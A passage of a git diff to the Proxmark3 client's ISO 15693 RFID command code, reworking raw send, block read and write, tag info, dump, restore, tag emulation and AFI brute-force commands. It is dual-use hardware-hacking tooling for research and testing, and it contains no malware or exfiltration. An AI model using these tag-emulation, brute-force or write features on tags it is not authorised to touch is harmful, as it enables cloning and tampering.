ISO15_REQ_NONINVENTORY | ISO15_REQ_ADDRESS; - req[1]=ISO15_CMD_READ; - memcpy(&req[2],uid,8); - req[10]=blocknum; - reqlen=AddCrc(req,11); - c.arg[0]=reqlen; - - SendCommand(&c); - - if (WaitForResponseTimeout(CMD_ACK,&resp,1000)) { - recv = resp.d.asBytes; - if (ISO15_CRC_CHECK==Crc(recv,resp.arg[0])) { - if (!(recv[0] & ISO15_RES_ERROR)) { - retry=0; - *output=0; // reset outputstring - sprintf(output, "Block %2i ",blocknum); - for ( int i=1; i31 && recv[i]<127)?recv[i]:'.'); - } - PrintAndLog("%s",output); - blocknum++; - // PrintAndLog("bn=%i",blocknum); - } else { - PrintAndLog("Tag returned Error %i: %s",recv[1],TagErrorStr(recv[1])); - return 0; - } - } // else PrintAndLog("crc"); - } // else PrintAndLog("r null"); - } // retry - // TODO: need fix -// if (resp.arg[0]<3) -// PrintAndLog("Lost Connection"); -// else if (ISO15_CRC_CHECK!=Crc(resp.d.asBytes,resp.arg[0])) -// PrintAndLog("CRC Failed"); -// else -// PrintAndLog("Tag returned Error %i: %s",recv[1],TagErrorStr(recv[1])); - return 0; -} - - -// "HF 15" interface - -static command_t CommandTable15[] = -{ - {"help", CmdHF15Help, 1, "This help"}, - {"demod", CmdHF15Demod, 1, "Demodulate ISO15693 from tag"}, - {"read", CmdHF15Read, 0, "Read HF tag (ISO 15693)"}, - {"record", CmdHF15Record, 0, "Record Samples (ISO 15693)"}, // atrox - {"reader", CmdHF15Reader, 0, "Act like an ISO15693 reader"}, - {"sim", CmdHF15Sim, 0, "Fake an ISO15693 tag"}, - {"cmd", CmdHF15Cmd, 0, "Send direct commands to ISO15693 tag"}, - {"findafi", CmdHF15Afi, 0, "Brute force AFI of an ISO15693 tag"}, - {"dumpmemory", CmdHF15DumpMem, 0, "Read all memory pages of an ISO15693 tag"}, - {NULL, NULL, 0, NULL} -}; - -int CmdHF15(const char *Cmd) -{ - CmdsParse(CommandTable15, Cmd); - return 0; -} - -int CmdHF15Help(const char *Cmd) -{ - CmdsHelp(CommandTable15); - return 0; -} - - -// "HF 15 Cmd" Interface -// Allows direct communication with the tag on command level - -int CmdHF15CmdInquiry(const char *Cmd) -{ - UsbCommand resp; - uint8_t *recv; - UsbCommand c = {CMD_ISO_15693_COMMAND, {0, 1, 1}}; // len,speed,recv? - uint8_t *req=c.d.asBytes; - int reqlen=0; - - req[0]= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | - ISO15_REQ_INVENTORY | ISO15_REQINV_SLOT1; - req[1]=ISO15_CMD_INVENTORY; - req[2]=0; // mask length - reqlen=AddCrc(req,3); - c.arg[0]=reqlen; +//helptext +int CmdHF15Samples(const char *Cmd) { + char cmdp = param_getchar(Cmd, 0); + if (cmdp == 'h' || cmdp == 'H') return usage_15_samples(); + UsbCommand c = {CMD_ACQUIRE_RAW_ADC_SAMPLES_ISO_15693, {0,0,0}}; + clearCommandBuffer(); SendCommand(&c); - if (WaitForResponseTimeout(CMD_ACK,&resp,1000)) { - if (resp.arg[0]>=12) { - recv = resp.d.asBytes; - PrintAndLog("UID=%s",sprintUID(NULL,&recv[2])); - PrintAndLog("Tag Info: %s",getTagInfo(&recv[2])); - } else { - PrintAndLog("Response to short, just %i bytes. No tag?\n",resp.arg[0]); - } - } else { - PrintAndLog("timeout."); - } + //download samples + getSamples(0, false); return 0; } - -// Turns debugging on(1)/off(0) -int CmdHF15CmdDebug( const char *cmd) { - int debug=atoi(cmd); - if (strlen(cmd)<1) { - PrintAndLog("Usage: hf 15 cmd debug <0/1>"); - PrintAndLog(" 0..no debugging output 1..turn debugging on"); - return 0; - } - - UsbCommand c = {CMD_ISO_15693_DEBUG, {debug, 0, 0}}; - SendCommand(&c); - return 0; -} - - -int CmdHF15CmdRaw (const char *cmd) { - UsbCommand resp; - uint8_t *recv; - UsbCommand c = {CMD_ISO_15693_COMMAND, {0, 1, 1}}; // len,speed,recv? - int reply=1; - int fast=1; - int crc=0; - char buf[5]=""; - int i=0; - uint8_t data[100]; - unsigned int datalen=0, temp; - char *hexout; - - - if (strlen(cmd)<3) { - PrintAndLog("Usage: hf 15 cmd raw [-r] [-2] [-c] <0A 0B 0C ... hex>"); - PrintAndLog(" -r do not read response"); - PrintAndLog(" -2 use slower '1 out of 256' mode"); - PrintAndLog(" -c calculate and append CRC"); - PrintAndLog(" Tip: turn on debugging for verbose output"); - return 0; - } - - // strip - while (*cmd==' ' || *cmd=='\t') cmd++; - - while (cmd[i]!='\0') { - if (cmd[i]==' ' || cmd[i]=='\t') { i++; continue; } - if (cmd[i]=='-') { - switch (cmd[i+1]) { - case 'r': - case 'R': - reply=0; - break; - case '2': - fast=0; - break; - case 'c': - case 'C': - crc=1; - break; - default: - PrintAndLog("Invalid option"); - return 0; - } - i+=2; - continue; - } - if ((cmd[i]>='0' && cmd[i]<='9') || - (cmd[i]>='a' && cmd[i]<='f') || - (cmd[i]>='A' && cmd[i]<='F') ) { - buf[strlen(buf)+1]=0; - buf[strlen(buf)]=cmd[i]; - i++; - - if (strlen(buf)>=2) { - sscanf(buf,"%x",&temp); - data[datalen]=(uint8_t)(temp & 0xff); - datalen++; - *buf=0; - } - continue; - } - PrintAndLog("Invalid char on input"); - return 0; - } - if (crc) datalen=AddCrc(data,datalen); - - c.arg[0]=datalen; - c.arg[1]=fast; - c.arg[2]=reply; - memcpy(c.d.asBytes,data,datalen); - - SendCommand(&c); - - if (reply) { - if (WaitForResponseTimeout(CMD_ACK,&resp,1000)) { - recv = resp.d.asBytes; - PrintAndLog("received %i octets",resp.arg[0]); - hexout = (char *)malloc(resp.arg[0] * 3 + 1); - if (hexout != NULL) { - for (int i = 0; i < resp.arg[0]; i++) { // data in hex - sprintf(&hexout[i * 3], "%02X ", recv[i]); - } - PrintAndLog("%s", hexout); - free(hexout); - } - } else { - PrintAndLog("timeout while waiting for reply."); - } - - } // if reply - return 0; -} - - -/** - * parses common HF 15 CMD parameters and prepares some data structures - * Parameters: - * **cmd command line - */ -int prepareHF15Cmd(char **cmd, UsbCommand *c, uint8_t iso15cmd[], int iso15cmdlen) { - int temp; - uint8_t *req=c->d.asBytes, uid[8]; - uint32_t reqlen=0; - - // strip - while (**cmd==' ' || **cmd=='\t') (*cmd)++; - - if (strstr(*cmd,"-2")==*cmd) { - c->arg[1]=0; // use 1of256 - (*cmd)+=2; - } - - // strip - while (**cmd==' ' || **cmd=='\t') (*cmd)++; - - if (strstr(*cmd,"-o")==*cmd) { - req[reqlen]=ISO15_REQ_OPTION; - (*cmd)+=2; - } - - // strip - while (**cmd==' ' || **cmd=='\t') (*cmd)++; - - switch (**cmd) { - case 0: - PrintAndLog("missing addr"); - return 0; - break; - case 's': - case 'S': - // you must have selected the tag earlier - req[reqlen++]|= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | - ISO15_REQ_NONINVENTORY | ISO15_REQ_SELECT; - memcpy(&req[reqlen],&iso15cmd[0],iso15cmdlen); - reqlen+=iso15cmdlen; - break; - case 'u': - case 'U': - // unaddressed mode may not be supported by all vendors - req[reqlen++]|= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | - ISO15_REQ_NONINVENTORY; - memcpy(&req[reqlen],&iso15cmd[0],iso15cmdlen); - reqlen+=iso15cmdlen; - break; - case '*': - // we scan for the UID ourself - req[reqlen++]|= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | - ISO15_REQ_NONINVENTORY | ISO15_REQ_ADDRESS; - memcpy(&req[reqlen],&iso15cmd[0],iso15cmdlen); - reqlen+=iso15cmdlen; - if (!getUID(uid)) { - PrintAndLog("No Tag found"); - return 0; - } - memcpy(req+reqlen,uid,8); - PrintAndLog("Detected UID %s",sprintUID(NULL,uid)); - reqlen+=8; - break; - default: - req[reqlen++]|= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | - ISO15_REQ_NONINVENTORY | ISO15_REQ_ADDRESS; - memcpy(&req[reqlen],&iso15cmd[0],iso15cmdlen); - reqlen+=iso15cmdlen; - -/* sscanf(cmd,"%hX%hX%hX%hX%hX%hX%hX%hX", - (short unsigned int *)&uid[7],(short unsigned int *)&uid[6], - (short unsigned int *)&uid[5],(short unsigned int *)&uid[4], - (short unsigned int *)&uid[3],(short unsigned int *)&uid[2], - (short unsigned int *)&uid[1],(short unsigned int *)&uid[0]); */ - for (int i=0;i<8 && (*cmd)[i*2] && (*cmd)[i*2+1];i++) { // parse UID - sscanf((char[]){(*cmd)[i*2],(*cmd)[i*2+1],0},"%X",&temp); - uid[7-i]=temp&0xff; - } - - PrintAndLog("Using UID %s",sprintUID(NULL,uid)); - memcpy(&req[reqlen],&uid[0],8); - reqlen+=8; - } - // skip to next space - while (**cmd!=' ' && **cmd!='\t') (*cmd)++; - // skip over the space - while (**cmd==' ' || **cmd=='\t') (*cmd)++; - - c->arg[0]=reqlen; - return 1; -} - /** * Commandline handling: HF15 CMD SYSINFO * get system information from tag/VICC */ -int CmdHF15CmdSysinfo(const char *Cmd) { +int CmdHF15Info(const char *Cmd) { + + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd)<1 || cmdp == 'h' || cmdp == 'H') return usage_15_info(); + UsbCommand resp; uint8_t *recv; UsbCommand c = {CMD_ISO_15693_COMMAND, {0, 1, 1}}; // len,speed,recv? - uint8_t *req=c.d.asBytes; - int reqlen=0; + uint8_t *req = c.d.asBytes; char cmdbuf[100]; - char *cmd=cmdbuf; - char output[2048]=""; - int i; + char *cmd = cmdbuf; + memset(cmdbuf, 0, sizeof(cmdbuf)); - strncpy(cmd,Cmd,99); - - // usage: - if (strlen(cmd)<1) { - PrintAndLog("Usage: hf 15 cmd sysinfo [options] "); - PrintAndLog(" options:"); - PrintAndLog(" -2 use slower '1 out of 256' mode"); - PrintAndLog(" uid (either): "); - PrintAndLog(" <8B hex> full UID eg E011223344556677"); - PrintAndLog(" s selected tag"); - PrintAndLog(" u unaddressed mode"); - PrintAndLog(" * scan for tag"); - PrintAndLog(" start#: page number to start 0-255"); - PrintAndLog(" count#: number of pages"); + strncpy(cmd, Cmd, 99); + + if ( !prepareHF15Cmd(&cmd, &c, ISO15_CMD_SYSINFO) ) return 0; - } - - prepareHF15Cmd(&cmd, &c,(uint8_t[]){ISO15_CMD_SYSINFO},1); - reqlen=c.arg[0]; - - reqlen=AddCrc(req,reqlen); - c.arg[0]=reqlen; + AddCrc(req, c.arg[0]); + c.arg[0] += 2; + + //PrintAndLogEx(NORMAL, "cmd %s", sprint_hex(c.d.asBytes, reqlen) ); + + clearCommandBuffer(); SendCommand(&c); - if (WaitForResponseTimeout(CMD_ACK,&resp,1000) && resp.arg[0]>2) { - recv = resp.d.asBytes; - if (ISO15_CRC_CHECK==Crc(recv,resp.arg[0])) { - if (!(recv[0] & ISO15_RES_ERROR)) { - *output=0; // reset outputstring - for ( i=1; i= retries) + return retval; + i++; + } + fclose(file); +} + +int CmdHF15List(const char *Cmd) { + //PrintAndLogEx(WARNING, "Deprecated command, use 'hf list 15' instead"); + CmdTraceList("15"); + return 0; +} + +int CmdHF15Raw(const char *Cmd) { + + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd)<3 || cmdp == 'h' || cmdp == 'H') return usage_15_raw(); + + UsbCommand resp; + UsbCommand c = {CMD_ISO_15693_COMMAND, {0, 1, 1}}; // len,speed,recv? + int reply = 1, fast = 1, i = 0; + bool crc = false; + char buf[5] = ""; + uint8_t data[100]; + uint32_t datalen = 0, temp; + + // strip + while (*Cmd==' ' || *Cmd=='\t') Cmd++; + + while (Cmd[i]!='\0') { + if (Cmd[i]==' ' || Cmd[i]=='\t') { i++; continue; } + if (Cmd[i]=='-') { + switch (Cmd[i+1]) { + case 'r': + case 'R': + reply = 0; + break; + case '2': + fast = 0; + break; + case 'c': + case 'C': + crc = true; + break; + default: + PrintAndLogEx(WARNING, "Invalid option"); + return 0; + } + i+=2; + continue; + } + if ((Cmd[i]>='0' && Cmd[i]<='9') || + (Cmd[i]>='a' && Cmd[i]<='f') || + (Cmd[i]>='A' && Cmd[i]<='F') ) { + buf[strlen(buf)+1] = 0; + buf[strlen(buf)] = Cmd[i]; + i++; + + if (strlen(buf) >= 2) { + sscanf(buf, "%x", &temp); + data[datalen] = (uint8_t)(temp & 0xff); + datalen++; + *buf = 0; + } + continue; + } + PrintAndLogEx(WARNING, "Invalid char on input"); + return 0; + } + + if (crc) { + AddCrc(data, datalen); + datalen += 2; + } + + c.arg[0] = datalen; + c.arg[1] = fast; + c.arg[2] = reply; + memcpy(c.d.asBytes, data, datalen); + + clearCommandBuffer(); + SendCommand(&c); + + if (reply) { + if (WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + uint8_t len = resp.arg[0]; + PrintAndLogEx(NORMAL, "received %i octets", len); + PrintAndLogEx(NORMAL, "%s", sprint_hex(resp.d.asBytes, len) ); + } else { + PrintAndLogEx(WARNING, "timeout while waiting for reply."); + } + } + return 0; +} + +/** + * parses common HF 15 CMD parameters and prepares some data structures + * Parameters: + * **cmd command line + */ +int prepareHF15Cmd(char **cmd, UsbCommand *c, uint8_t iso15cmd) { + int temp; + uint8_t *req = c->d.asBytes; + uint8_t uid[8] = {0x00}; + uint32_t reqlen = 0; + + // strip + while (**cmd==' ' || **cmd=='\t') (*cmd)++; + + if (strstr(*cmd, "-2") == *cmd) { + c->arg[1] = 0; // use 1of256 + (*cmd) += 2; + } + + // strip + while (**cmd==' ' || **cmd=='\t') (*cmd)++; + + if (strstr(*cmd, "-o") == *cmd) { + req[reqlen] = ISO15_REQ_OPTION; + (*cmd) += 2; + } + + // strip + while (**cmd == ' ' || **cmd == '\t') (*cmd)++; + + switch (**cmd) { + case 0: + PrintAndLogEx(WARNING, "missing addr"); + return 0; + break; + case 'u': + case 'U': + // unaddressed mode may not be supported by all vendors + req[reqlen++] |= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_NONINVENTORY; + req[reqlen++] = iso15cmd; + break; + case '*': + // we scan for the UID ourself + req[reqlen++] |= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_NONINVENTORY | ISO15_REQ_ADDRESS; + req[reqlen++] = iso15cmd; + + if (!getUID(uid)) { + PrintAndLogEx(WARNING, "No tag found"); + return 0; + } + memcpy(&req[reqlen], uid, sizeof(uid)); + PrintAndLogEx(NORMAL, "Detected UID %s", sprintUID(NULL, uid)); + reqlen += sizeof(uid); + break; + default: + req[reqlen++] |= ISO15_REQ_SUBCARRIER_SINGLE | ISO15_REQ_DATARATE_HIGH | ISO15_REQ_NONINVENTORY | ISO15_REQ_ADDRESS; + req[reqlen++] = iso15cmd; + + // parse UID + for (int i=0; i<8 && (*cmd)[i*2] && (*cmd)[i*2+1]; i++) { + sscanf((char[]){(*cmd)[i*2], (*cmd)[i*2+1],0}, "%X", &temp); + uid[7-i] = temp & 0xff; + } + + PrintAndLogEx(NORMAL, "Using UID %s", sprintUID(NULL, uid)); + memcpy(&req[reqlen], uid, sizeof(uid)); + reqlen += sizeof(uid); + break; + } + // skip to next space + while (**cmd!=' ' && **cmd!='\t') (*cmd)++; + // skip over the space + while (**cmd==' ' || **cmd=='\t') (*cmd)++; + + c->arg[0] = reqlen; + return 1; +} + /** * Commandline handling: HF15 CMD READMULTI * Read multiple blocks at once (not all tags support this) */ -int CmdHF15CmdReadmulti(const char *Cmd) { +int CmdHF15Readmulti(const char *Cmd) { + + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd)<3 || cmdp == 'h' || cmdp == 'H') return usage_15_readmulti(); + UsbCommand resp; uint8_t *recv; UsbCommand c = {CMD_ISO_15693_COMMAND, {0, 1, 1}}; // len,speed,recv? - uint8_t *req=c.d.asBytes; - int reqlen=0, pagenum,pagecount; + uint8_t *req = c.d.asBytes; + int reqlen = 0; + uint8_t pagenum, pagecount; char cmdbuf[100]; - char *cmd=cmdbuf; - char output[2048]=""; - - strncpy(cmd,Cmd,99); + char *cmd = cmdbuf; + strncpy(cmd, Cmd, 99); - // usage: - if (strlen(cmd)<3) { - PrintAndLog("Usage: hf 15 cmd readmulti [options] "); - PrintAndLog(" options:"); - PrintAndLog(" -2 use slower '1 out of 256' mode"); - PrintAndLog(" uid (either): "); - PrintAndLog(" <8B hex> full UID eg E011223344556677"); - PrintAndLog(" s selected tag"); - PrintAndLog(" u unaddressed mode"); - PrintAndLog(" * scan for tag"); - PrintAndLog(" start#: page number to start 0-255"); - PrintAndLog(" count#: number of pages"); + if ( !prepareHF15Cmd(&cmd, &c, ISO15_CMD_READMULTI) ) return 0; - } - - prepareHF15Cmd(&cmd, &c,(uint8_t[]){ISO15_CMD_READMULTI},1); - reqlen=c.arg[0]; - pagenum=strtol(cmd,NULL,0); - - // skip to next space - while (*cmd!=' ' && *cmd!='\t') cmd++; - // skip over the space - while (*cmd==' ' || *cmd=='\t') cmd++; - - pagecount=strtol(cmd,NULL,0); - if (pagecount>0) pagecount--; // 0 means 1 page, 1 means 2 pages, ... + // add OPTION flag, in order to get lock-info + req[0] |= ISO15_REQ_OPTION; - req[reqlen++]=(uint8_t)pagenum; - req[reqlen++]=(uint8_t)pagecount; - - reqlen=AddCrc(req,reqlen); - - c.arg[0]=reqlen; + reqlen = c.arg[0]; + // decimal + pagenum = param_get8ex(cmd, 0, 0, 10); + pagecount = param_get8ex(cmd, 1, 0, 10); + + //PrintAndLogEx(NORMAL, "ice %d %d\n", pagenum, pagecount); + + // 0 means 1 page, + // 1 means 2 pages, ... + if (pagecount > 0) pagecount--; + + req[reqlen++] = pagenum; + req[reqlen++] = pagecount; + AddCrc(req, reqlen); + c.arg[0] = reqlen+2; + + clearCommandBuffer(); SendCommand(&c); - - if (WaitForResponseTimeout(CMD_ACK,&resp,1000) && resp.arg[0]>2) { - recv = resp.d.asBytes; - if (ISO15_CRC_CHECK==Crc(recv,resp.arg[0])) { - if (!(recv[0] & ISO15_RES_ERROR)) { - *output=0; // reset outputstring - for ( int i=1; i31 && recv[i]<127?recv[i]:'.'); - } - PrintAndLog("%s",output); - } else { - PrintAndLog("Tag returned Error %i: %s",recv[0],TagErrorStr(recv[0])); - } - } else { - PrintAndLog("CRC failed"); - } - } else { - PrintAndLog("no answer"); + + if ( !WaitForResponseTimeout(CMD_ACK, &resp, 2000) ) { + PrintAndLogEx(FAILED, "iso15693 card select failed"); + return 1; } + uint32_t status = resp.arg[0]; + if ( status < 2 ) { + PrintAndLogEx(FAILED, "iso15693 card select failed"); + return 1; + } + + recv = resp.d.asBytes; + + if (!CheckCrc(recv, status)) { + PrintAndLogEx(FAILED, "CRC failed"); + return 2; + } + + if ( recv[0] & ISO15_RES_ERROR ) { + PrintAndLogEx(FAILED, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return 3; + } + + int start = 1; // skip status byte + int stop = (pagecount+1) * 5; + int currblock = pagenum; + // print response + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "block# | data |lck| ascii"); + PrintAndLogEx(NORMAL, "---------+--------------+---+----------"); + for (int i = start; i < stop; i += 5) { + PrintAndLogEx(NORMAL, "%3d/0x%02X | %s | %d | %s", currblock, currblock, sprint_hex(recv+i+1, 4 ), recv[i], sprint_ascii(recv+i+1, 4) ); + currblock++; + } + return 0; } @@ -792,125 +1127,110 @@ int CmdHF15CmdReadmulti(const char *Cmd) { * Commandline handling: HF15 CMD READ * Reads a single Block */ -int CmdHF15CmdRead(const char *Cmd) { +int CmdHF15Read(const char *Cmd) { + + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd)<3 || cmdp == 'h' || cmdp == 'H') return usage_15_read(); + UsbCommand resp; uint8_t *recv; - UsbCommand c = {CMD_ISO_15693_COMMAND, {0, 1, 1}}; // len,speed,recv? - uint8_t *req=c.d.asBytes; - int reqlen=0, pagenum; + + // UsbCommand arg: len, speed, recv? + // arg0 (datalen, cmd len? .arg0 == crc?) + // arg1 (speed == 0 == 1 of 256, == 1 == 1 of 4 ) + // arg2 (recv == 1 == expect a response) + UsbCommand c = {CMD_ISO_15693_COMMAND, {0, 1, 1}}; + uint8_t *req = c.d.asBytes; + int reqlen = 0, blocknum; char cmdbuf[100]; - char *cmd=cmdbuf; - char output[100]=""; + char *cmd = cmdbuf; + strncpy(cmd, Cmd, 99); - strncpy(cmd,Cmd,99); - - // usage: - if (strlen(cmd)<3) { - PrintAndLog("Usage: hf 15 cmd read [options] "); - PrintAndLog(" options:"); - PrintAndLog(" -2 use slower '1 out of 256' mode"); - PrintAndLog(" uid (either): "); - PrintAndLog(" <8B hex> full UID eg E011223344556677"); - PrintAndLog(" s selected tag"); - PrintAndLog(" u unaddressed mode"); - PrintAndLog(" * scan for tag"); - PrintAndLog(" page#: page number 0-255"); + if ( !prepareHF15Cmd(&cmd, &c, ISO15_CMD_READ) ) return 0; - } - - prepareHF15Cmd(&cmd, &c,(uint8_t[]){ISO15_CMD_READ},1); - reqlen=c.arg[0]; - pagenum=strtol(cmd,NULL,0); - /*if (pagenum<0) { - PrintAndLog("invalid pagenum"); - return 0; - } */ + // add OPTION flag, in order to get lock-info + req[0] |= ISO15_REQ_OPTION; - req[reqlen++]=(uint8_t)pagenum; - - reqlen=AddCrc(req,reqlen); - - c.arg[0]=reqlen; + reqlen = c.arg[0]; + blocknum = strtol(cmd, NULL, 0); + + req[reqlen++] = (uint8_t)blocknum; + + AddCrc(req, reqlen); + + c.arg[0] = reqlen+2; + + clearCommandBuffer(); SendCommand(&c); - if (WaitForResponseTimeout(CMD_ACK,&resp,1000) && resp.arg[0]>2) { - recv = resp.d.asBytes; - if (ISO15_CRC_CHECK==Crc(recv,resp.arg[0])) { - if (!(recv[0] & ISO15_RES_ERROR)) { - *output=0; // reset outputstring - //sprintf(output, "Block %2i ",blocknum); - for ( int i=1; i31 && recv[i]<127?recv[i]:'.'); - } - PrintAndLog("%s",output); - } else { - PrintAndLog("Tag returned Error %i: %s",recv[1],TagErrorStr(recv[1])); - } - } else { - PrintAndLog("CRC failed"); - } - } else { - PrintAndLog("no answer"); + if ( !WaitForResponseTimeout(CMD_ACK, &resp, 2000) ) { + PrintAndLogEx(NORMAL, "iso15693 card select failed"); + return 1; } + uint32_t status = resp.arg[0]; + if ( status < 2 ) { + PrintAndLogEx(NORMAL, "iso15693 card select failed"); + return 1; + } + + recv = resp.d.asBytes; + + if ( !CheckCrc(recv, status) ) { + PrintAndLogEx(NORMAL, "CRC failed"); + return 2; + } + + if ( recv[0] & ISO15_RES_ERROR ) { + PrintAndLogEx(WARNING, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return 3; + } + + // print response + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, "block #%3d |lck| ascii", blocknum ); + PrintAndLogEx(NORMAL, "------------+---+------" ); + PrintAndLogEx(NORMAL, "%s| %d | %s", sprint_hex(recv+2, status-4), recv[1], sprint_ascii(recv+2, status-4) ); + PrintAndLogEx(NORMAL, ""); return 0; } - /** * Commandline handling: HF15 CMD WRITE * Writes a single Block - might run into timeout, even when successful */ -int CmdHF15CmdWrite(const char *Cmd) { +int CmdHF15Write(const char *Cmd) { + + char cmdp = param_getchar(Cmd, 0); + if (strlen(Cmd)<3 || cmdp == 'h' || cmdp == 'H') return usage_15_write(); + UsbCommand resp; uint8_t *recv; UsbCommand c = {CMD_ISO_15693_COMMAND, {0, 1, 1}}; // len,speed,recv? - uint8_t *req=c.d.asBytes; - int reqlen=0, pagenum, temp; + uint8_t *req = c.d.asBytes; + int reqlen = 0, pagenum, temp; char cmdbuf[100]; - char *cmd=cmdbuf; + char *cmd = cmdbuf; char *cmd2; - strncpy(cmd,Cmd,99); + strncpy(cmd, Cmd, 99); - // usage: - if (strlen(cmd)<3) { - PrintAndLog("Usage: hf 15 cmd write [options] "); - PrintAndLog(" options:"); - PrintAndLog(" -2 use slower '1 out of 256' mode"); - PrintAndLog(" -o set OPTION Flag (needed for TI)"); - PrintAndLog(" uid (either): "); - PrintAndLog(" <8B hex> full UID eg E011223344556677"); - PrintAndLog(" s selected tag"); - PrintAndLog(" u unaddressed mode"); - PrintAndLog(" * scan for tag"); - PrintAndLog(" page#: page number 0-255"); - PrintAndLog(" hexdata: data to be written eg AA BB CC DD"); + if ( !prepareHF15Cmd(&cmd, &c, ISO15_CMD_WRITE) ) return 0; - } - - prepareHF15Cmd(&cmd, &c,(uint8_t[]){ISO15_CMD_WRITE},1); - reqlen=c.arg[0]; + + reqlen = c.arg[0]; // *cmd -> page num ; *cmd2 -> data cmd2=cmd; while (*cmd2!=' ' && *cmd2!='\t' && *cmd2) cmd2++; - *cmd2=0; + *cmd2 = 0; cmd2++; - pagenum=strtol(cmd,NULL,0); - /*if (pagenum<0) { - PrintAndLog("invalid pagenum"); - return 0; - } */ - req[reqlen++]=(uint8_t)pagenum; - + pagenum = strtol(cmd, NULL, 0); + + req[reqlen++] = (uint8_t)pagenum; while (cmd2[0] && cmd2[1]) { // hexdata, read by 2 hexchars if (*cmd2==' ') { @@ -921,58 +1241,67 @@ int CmdHF15CmdWrite(const char *Cmd) { req[reqlen++]=temp & 0xff; cmd2+=2; } + AddCrc(req, reqlen); + c.arg[0] = reqlen+2; - reqlen=AddCrc(req,reqlen); + PrintAndLogEx(NORMAL, "iso15693 writing to page %02d (0x&02X) | data ", pagenum, pagenum); - c.arg[0]=reqlen; - + clearCommandBuffer(); SendCommand(&c); - if (WaitForResponseTimeout(CMD_ACK,&resp,2000) && resp.arg[0]>2) { - recv = resp.d.asBytes; - if (ISO15_CRC_CHECK==Crc(recv,resp.arg[0])) { - if (!(recv[0] & ISO15_RES_ERROR)) { - PrintAndLog("OK"); - } else { - PrintAndLog("Tag returned Error %i: %s",recv[1],TagErrorStr(recv[1])); - } - } else { - PrintAndLog("CRC failed"); - } - } else { - PrintAndLog("timeout: no answer - data may be written anyway"); + if ( !WaitForResponseTimeout(CMD_ACK, &resp, 2000) ) { + PrintAndLogEx(FAILED, "iso15693 card timeout, data may be written anyway"); + return 1; } + uint32_t status = resp.arg[0]; + if ( status < 2 ) { + PrintAndLogEx(FAILED, "iso15693 card select failed"); + return 1; + } + + recv = resp.d.asBytes; + + if ( !CheckCrc(recv, status) ) { + PrintAndLogEx(FAILED, "CRC failed"); + return 2; + } + + if ( recv[0] & ISO15_RES_ERROR ) { + PrintAndLogEx(NORMAL, "iso15693 card returned error %i: %s", recv[0], TagErrorStr(recv[0])); + return 3; + } + + PrintAndLogEx(NORMAL, "OK"); return 0; } - - -static command_t CommandTable15Cmd[] = -{ - {"help", CmdHF15CmdHelp, 1, "This Help"}, - {"inquiry", CmdHF15CmdInquiry, 0, "Search for tags in range"}, - /* - {"select", CmdHF15CmdSelect, 0, "Select an tag with a specific UID for further commands"}, - */ - {"read", CmdHF15CmdRead, 0, "Read a block"}, - {"write", CmdHF15CmdWrite, 0, "Write a block"}, - {"readmulti",CmdHF15CmdReadmulti, 0, "Reads multiple Blocks"}, - {"sysinfo",CmdHF15CmdSysinfo, 0, "Get Card Information"}, - {"raw", CmdHF15CmdRaw, 0, "Send raw hex data to tag"}, - {"debug", CmdHF15CmdDebug, 0, "Turn debugging on/off"}, +static command_t CommandTable15[] = { + {"help", CmdHF15Help, 1, "This help"}, + {"demod", CmdHF15Demod, 1, "Demodulate ISO15693 from tag"}, + {"dump", CmdHF15Dump, 0, "Read all memory pages of an ISO15693 tag, save to file"}, + {"findafi", CmdHF15Afi, 0, "Brute force AFI of an ISO15693 tag"}, + {"info", CmdHF15Info, 0, "Tag information"}, + {"list", CmdHF15List, 0, "[Deprecated] List ISO15693 history"}, + {"raw", CmdHF15Raw, 0, "Send raw hex data to tag"}, + {"reader", CmdHF15Reader, 0, "Act like an ISO15693 reader"}, + {"record", CmdHF15Record, 0, "Record Samples (ISO15693)"}, + {"restore", CmdHF15Restore, 0, "Restore from file to all memory pages of an ISO15693 tag"}, + {"sim", CmdHF15Sim, 0, "Fake an ISO15693 tag"}, + {"samples", CmdHF15Samples, 0, "Acquire Samples as Reader (enables carrier, sends inquiry)"}, + {"read", CmdHF15Read, 0, "Read a block"}, + {"write", CmdHF15Write, 0, "Write a block"}, + {"readmulti", CmdHF15Readmulti, 0, "Reads multiple Blocks"}, {NULL, NULL, 0, NULL} }; -int CmdHF15Cmd(const char *Cmd) -{ - CmdsParse(CommandTable15Cmd, Cmd); - return 0; -} - -int CmdHF15CmdHelp(const char *Cmd) -{ - CmdsHelp(CommandTable15Cmd); +int CmdHF15(const char *Cmd) { + clearCommandBuffer(); + CmdsParse(CommandTable15, Cmd); return 0; } +int CmdHF15Help(const char *Cmd) { + CmdsHelp(CommandTable15); + return 0; +} \ No newline at end of file diff --git a/client/cmdhf15.h b/client/cmdhf15.h index 8d78e13f1..2908a9aab 100644 --- a/client/cmdhf15.h +++ b/client/cmdhf15.h @@ -11,15 +11,55 @@ #ifndef CMDHF15_H__ #define CMDHF15_H__ +#include +#include +#include +#include + +#include "proxmark3.h" +#include "graph.h" +#include "ui.h" +#include "util.h" +#include "cmdparser.h" +#include "crc16.h" // iso15 crc +#include "cmdmain.h" +#include "cmddata.h" // getsamples +#include "loclass/fileutils.h" // savefileEML + int CmdHF15(const char *Cmd); -int CmdHF15Demod(const char *Cmd); -int CmdHF15Read(const char *Cmd); -int CmdHF15Reader(const char *Cmd); -int CmdHF15Sim(const char *Cmd); -int CmdHF15Record(const char *Cmd); -int CmdHF15Cmd(const char*Cmd); -int CmdHF15CmdHelp(const char*Cmd); -int CmdHF15Help(const 